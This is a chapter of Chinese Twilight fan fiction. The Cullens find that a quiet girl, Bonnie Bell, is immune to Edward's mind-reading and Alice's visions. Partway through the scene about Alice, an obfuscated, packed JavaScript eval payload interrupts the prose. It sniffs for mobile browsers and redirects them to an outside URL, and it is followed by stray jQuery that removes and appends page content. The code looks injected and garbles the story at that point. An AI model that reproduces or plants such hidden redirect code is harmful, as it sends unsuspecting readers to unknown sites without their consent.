福克斯高中的教学楼在秋天的灰光下，仿佛某种上世纪战后残留的政府建筑，方方正正，屋檐永远漏水，混凝土墙壁缝隙里常年长着青苔。
就算阳光勉强从天漏下一点，也只够让地砖反光一瞬，随后又被云吞了回去。
邦妮慢慢走进教学楼，帆布包的肩带在肩膀上留下一道长期压出的红痕，她的头发没扎，棕红色的乱发披着，像森林里任风吹开的枯枝。
她在走廊里踱着步，一如既往地没有人跟她打招呼。几个女生在一边窃笑着，刻意小声又足够让她听见地说出“怪胎”、“晚上肯定梦游杀人”之类的台词。
她听见了，却连眼睛都懒得翻一下。
她不是那种会为别人的视线活着的女孩，也不是那种在别人眼里会可怜自己的人。她只是静静地、固执地走在自己的轨迹上，不让任何人打断。
她的座位在教室最靠窗的位置，身边两个位子常年空着，没人想坐她旁边，就算轮换小组活动，大部分同学也会宁可临时换位、凑组，也不愿意坐她旁边。
她其实很享受这种“避让”。
但今天，事情不一样。
她刚刚拉开椅子，屁股还没坐下，教室前门“砰”的一声被推开，一股和福克斯镇这股朴素潮湿空气格格不入的气息闯了进来。
五个身影并排站在门口，干净到过分的衣服、挺拔到近乎静止的身姿，他们像是从某种维密秀现场错落而来的模型错投进了中学的课堂。
卡伦一家，今天正式报道。
教室瞬间炸开了锅。
那些原本坐姿散漫的男生女生一下子挺直了背，有人低声尖叫，有人开始整理头发，连老师都差点忘了自己原本正准备点名。
金发的爱丽丝安静站在其中，眼神灵动；高挑俊朗的贾斯珀像是没睡醒，肩膀微垮；罗莎莉美得像玻璃雕出来的高傲女王，而艾美特全身肌肉紧绷，像能扛起这栋楼。
然后是他。
最后走进门的，是那个昨天傍晚与邦妮在公交车窗外对视过的男孩，爱德华·卡伦。
他那双琥珀色的眼睛不带情绪地扫过人群，嘴角绷得很紧，像是在极力控制某种不耐烦。所有女孩都盯着他看，仿佛盯久了他就会看回去，但他没给她们任何回应。
直到他的目光落在了邦妮身上。
那一刻他的眉微微皱了一下，细到几乎看不出，但她还是捕捉到了。
他又试了一次。他站在门口，目光钉住她，试图读她的心——他已经习惯这种方式，进入人群，探听脑海，那些声音像水流一样自动灌进来，哪怕不是完整语言，也总能捕捉情绪、念头、图像。
但邦妮是……空的。
完全空白。
他不由自主地多盯了一秒，眉头锁紧了些，像是听到了某种不可理解的静音频道。
他移开视线，试图从另一个方向重新进入她的脑波领域，但她脑中仿佛是一整面关闭的门，锁得死死的，没有缝隙。
昨天在公交车上的，以及今早在校车上的那一眼，他也以为她只是脑中恰巧空无一念，但现在看来，不是偶然。这女孩对他——对他的能力，完全无效。
他的表情终于有了一点点裂痕。
老师已经开始介绍：“这是卡伦家的五位孩子，今天开始会和大家一起上课……爱德华，你就坐那里吧。”她一指。
正是邦妮·贝尔旁边的空位。
教室的气氛一秒变得诡异，某些女生发出一声短促的抽气，甚至有几个人已经偷偷在翻白眼，仿佛命运正在宠幸一个“不该存在”的人。
爱德华缓缓走过去，脚步几乎没有声响。他在她身边拉开椅子，坐下，全程没有说一个字，但余光，却不动声色地扫了她一遍。
邦妮没回头。
她从包里拿出笔记本和圆珠笔，翻到昨天那一页，是她画的一座医院外墙，上面悬着的玻璃被画得极细，像是她亲眼看见并记住了每一根钢索和断裂角度。她继续画，没有要说话的意思。
“你很安静。”他终于开口了，嗓音低沉，有一种压下来的磁性，但又透着些许试探。
“是的。”她头也不抬。
“你昨晚梦到我了吗？”他语气轻到几乎无声，但语意却极其明确，别人的耳朵听不见——这句话不是搭话，而是试探。
她终于抬头，眼神很淡，像雨打湿过的玻璃。
“你刚才，是不是问了个很不礼貌的问题？”她反问，语气没有任何起伏。
他第一次，神色有些狼狈。
她嘴角抬了一点点，几乎可以称之为微笑，“我不是你能随便打开的书。你应该早知道了。”
他沉默了。
这一节课成了爱德华·卡伦有生以来第一次无法读心的沉默时光。
化学实验课的空气，混着粉笔灰、老旧水管的金属锈味、桌子缝隙里多年的福尔马林蒸气，还有同学们身上香水、汗液与口香糖混合出的青春气息，一起熬成了一锅能逼疯感官的气味。
唯有一股冰冷的香，像夜晚吹进墓地的风，安静地从邦妮身边蔓延开来。
爱德华·卡伦就坐在那里，离她不过四十厘米。
他的手指端着试管，却几乎没有看那液体变色的反应。他的眼睛没看试剂、没看讲台，而是紧紧盯着邦妮那张平静得令人发指的侧脸。
她的发丝垂在脸颊边，鼻梁细瘦，唇色苍白，像是某种不参与呼吸的生物。她在记录数据，每一笔都像在描一具尸体的轮廓。她对一切都太冷淡了，甚至冷淡得不真实。
爱德华困惑，不安。
有人确实可以屏蔽短时间的思绪，像屏息一样，尤其是性格内敛者。但她不是那种人。她不是屏息，她是……完全关闭的空间。她的脑内像一座不属于这世界的房子，没有窗，没有门，没有光。
在他一生的记忆里，从没有人让他这样无措。
他无法听懂她的思考、无法判断她的反应，甚至无法预测她下一句话是顺口的反讽，还是默然的不答。他一直靠心声了解这个世界，如今，第一次，他像个瞎子一样，在她面前伸不出手。
“你不喜欢实验课？”他终于开口，音色里混了一点点发涩的不甘。
她看了他一眼，那双眼睛依旧冷静得像教堂里的石像：“我不喜欢任何课。”
他一时语塞。
她转回头继续记录数据，用极其清晰流畅的字迹写下滴定反应的时间点，连字都像是能砍伤人的刀。
他试图用一贯的方式——提出问题，引导她思考，然后抓住念头之间的缝隙。但她的眼神比他的战术还熟练，每一个回答都像是提前准备好的障碍。
“你不想认识我。”
“我对任何人都不感兴趣。”
“你不觉得强行搭话很烦吗？”
“你的问题很像某种监控软件。”
每一句话都像有锋利边缘。他不再说话了。他不喜欢这感觉，像是在敲一面没有回音的墙。
而在教室的另一侧，坐在靠墙位置的爱丽丝，盯着邦妮看的时间，则比谁都长。
她的眼睛不是盯住对方的脸，而是对着她的影子、轨迹，那层在时间之后，尚未发生的未来影像。
爱丽丝能看见即将发生的选择结果，只要对方“决定”去做一件事，哪怕只是产生意图，她就能捕捉那一瞬间的投影，但邦妮没有。
不是模糊，不是延迟，是完全不存在。
她坐在那里，像是一团不属于这条时间线的实体，没有未来，没有路径，连一个“决定去起身”的影像都没有。
爱丽丝换了个坐姿，试图调换角度捕捉视线的轨道，但还是没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405293|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她甚至不能看到邦妮五分钟后是去厕所，还是下课时是否会走向楼梯，亦或是在想什么衣服颜色。
全无、空白、封闭、消失。
她开始觉得冷。那是一种非物理的寒冷，是她作为吸血鬼以来，从未体验过的陌生感。
她看向爱德华，他也正好看向她。
眼神里只有两个字——你也感受到了？
爱丽丝轻轻点头。
他们两个，在这个镇上、在这间教室、在这个时间点上，同时遇到了一个对吸血鬼能力完全免疫的女孩。
而那个女孩此时此刻，只是低头，咬着笔帽，在笔记本角落随手画了一只白色的鸽子。那是她梦里的象征，死亡的鸽子。
她完全不关心他们，也完全没兴趣去解释自己。
她知道所有人都在看她，她也知道身边这个男孩正在因为她的沉默而崩溃。
她很享受。
“她没有未来。”爱丽丝终于低声说。
声音只给了贾斯帕、罗莎莉和艾美特三人听。她没回头，也没转身，就是用一种几乎是呼吸的频率，把这句话投进家人耳朵里。
贾斯帕下意识握拳。
“什么叫没有？”艾美特挑眉，声音也压得极低，“你是说她会死得很快？还是她正在做决定？”
“不是。”爱丽丝声音里透出一种不属于她的干涩，“她根本不在路上。不是我看不到她选择的岔口，是她没有路径。”
“她是幽灵吗？”艾美特半开玩笑，却没人笑。
“如果是，她太真实了。”罗莎莉冷冷接上，目光不动声色地投向邦妮。她的眼神像是一道切割射线，从对方发丝一路剖到心脏。
“她的气息不对。”贾斯帕低声说，“她让我想起很久以前……某些人类快要死之前的那种味道。但她不是病人。她更像……”
“像什么？”罗莎莉没耐性。
“像某种在你身后呼吸的‘东西’，但你一回头，它就不在了。”贾斯帕喉结动了动，“她没有‘存活的意志’。她只是‘存在’。”
他们一边说，一边偷偷观察爱德华。
而他，他们家中最冷静、最挑剔、最擅长隐藏内心波动的那个，此刻正紧盯着那张毫无表情的脸。
他失控了。至少，在他们眼里是这样。
爱德华从未对一个女孩如此沉迷。准确说，他从未对一个读不懂的心灵有过任何兴趣。他喜欢一切清晰、合理、有结构的东西，哪怕是人的情绪，也要能拆分解析。
而邦妮·贝尔不具备“结构”，她就是一个谜题，却不给他任何线索。他甚至不知道她是对自己反感、感兴趣，还是完全无感。她的心就像一池死水，连投石都不溅波澜。
教室里的钟声打断了一切。
叮铃——
学生们开始收拾课本，传纸条的、起哄的、换座位的声音乱作一团。邦妮慢悠悠收拾她的笔记本，把那张画了玻璃砸落图景的纸撕下来，折好，塞进包里。她起身时，衣角擦过爱德华的手臂。
冰凉的触感传递了一种奇异的真实。
他忽然抬头。
她低头看了他一眼，表情像是在审视一个不守规矩的小孩。
“你很吵。”她说。
然后转身，走了。
留下卡伦家五人，在教室的寂静中，统一陷入了从未有过的集体沉默。
邦妮·贝尔走进了走廊的光里。
“她是故意的吗？”罗莎莉终于问出了在座四人心里最刺耳的问题。
“不。”爱德华这一次开口，声音沉得像琴弦绷断的第一瞬，“她不是故意的。她没有掩藏。她是真的——就是没有。”
爱丽丝微微一颤。
“就像……”她低语，“我们从一开始，就不该能看到她。”